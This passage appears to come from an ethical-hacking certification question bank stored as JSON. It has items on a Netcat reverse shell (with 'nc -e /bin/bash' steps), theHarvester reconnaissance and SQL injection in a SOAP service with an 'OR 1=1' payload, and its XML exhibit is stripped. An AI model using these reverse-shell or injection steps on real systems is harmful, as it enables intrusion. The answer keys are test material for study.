access, then victim connects back, then execute commands, then cleanup","isCorrect":false}],"domainName":"Introduction to Ethical Hacking","domainSlug":"intro-ethical-hacking","orderedSteps":["Attacker starts Netcat listener on a port: nc -lvnp 4444","Victim connects back to attacker: nc 4444 -e /bin/bash","Attacker receives shell access","Execute commands on victim system","Clean up logs and close connection"]},{"id":"2ecb3477-7da8-410a-b020-e1c958365e45","slug":"during-a-passive-reconnaissance-phase-a-penetration-tester-m652k","questionText":"During a passive reconnaissance phase, a penetration tester uses a tool to gather email addresses, subdomains, and employee names associated with a target domain without directly interacting with the target's systems. Which tool is BEST suited for this purpose?","explanation":"theHarvester is specifically designed for passive reconnaissance by querying public sources such as search engines (Google, Bing), PGP key servers, and the Shodan API to collect email addresses, subdomains, and employee names without sending any packets directly to the target's infrastructure. This aligns perfectly with the requirement of gathering OSINT data without direct interaction.","domainId":"4086d6a8-0adf-43b8-b6f5-b4e01316e70f","difficulty":"easy","questionType":"multiple_choice","pbqConfig":null,"exhibitText":null,"options":[{"id":"ff6000be-bc21-4d85-a2d8-d28425c01784","label":null,"text":"theHarvester","isCorrect":true},{"id":"9e42960e-3827-4df0-ab4e-2607f4729b54","label":null,"text":"Nmap","isCorrect":false},{"id":"4820e8f2-cf03-4166-ba76-6cfd7b3a96de","label":null,"text":"Netcat","isCorrect":false},{"id":"e1d9775a-b2c9-4e55-a6e1-97e29034fd0e","label":null,"text":"Wireshark","isCorrect":false}],"domainName":"Footprinting, Reconnaissance and Scanning","domainSlug":"ceh-recon-scanning"},{"id":"33521746-4bf1-49ea-9891-cf5208f10613","slug":"refer-to-the-exhibit-a-penetration-tester-sends-a-soap-requ-ex-ku2u","questionText":"Refer to the exhibit. A penetration tester sends a SOAP request and receives multiple user records. Which vulnerability is present?","explanation":"The SOAP service returns multiple user records in response to a crafted request, indicating that the input is being interpolated into a database query without proper sanitization. This is classic SQL injection (SQLi) in a SOAP XML context, where an attacker can embed SQL payloads within XML elements (e.g., admin' OR '1'='1) to manipulate the backend SQL query and retrieve all records.","domainId":"69a1e04b-10ae-4ef6-8328-781216e49629","difficulty":"hard","questionType":"multiple_choice","pbqConfig":null,"exhibitText":"\n\n \n \n 1 OR 1=1\n \n \n\n\nResponse:\n\n \n \n \n 1\n admin\n admin@test.com\n \n \n 2\n user\n user@test.com\n \n \n \n","options":[{"id":"0a3f4a0a-38fc-4003-b0ae-0af2417a7a7d","label":null,"text":"SQL injection in SOAP service","isCorrect":true},{"id":"c75dc241-b9cb-4a14-a9df-2f02fa1f527b","label":null,"text":"XML External Entity (XXE) injection","isCorrect":false},{"id":"47239ba4-7a7c-4c5e-b27f-20779e7a548b","label":null,"text":"Cross-site scripting (XSS)","isCorrect":false},{"id":"44f44293-27f2-4c69-bdff-6829ac61f626","label":null,"text":"Command injection","isCorrect":false}],"domainName":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks"},{"id":"117251e7-d134-49e1-a564-21b2abbbcff4","slug":"during-a-web-application-penetration-test-a-security-analys-hssm3","questionText":"During a web application penetration test, a security analyst intercepts a request using Burp Suite and notices the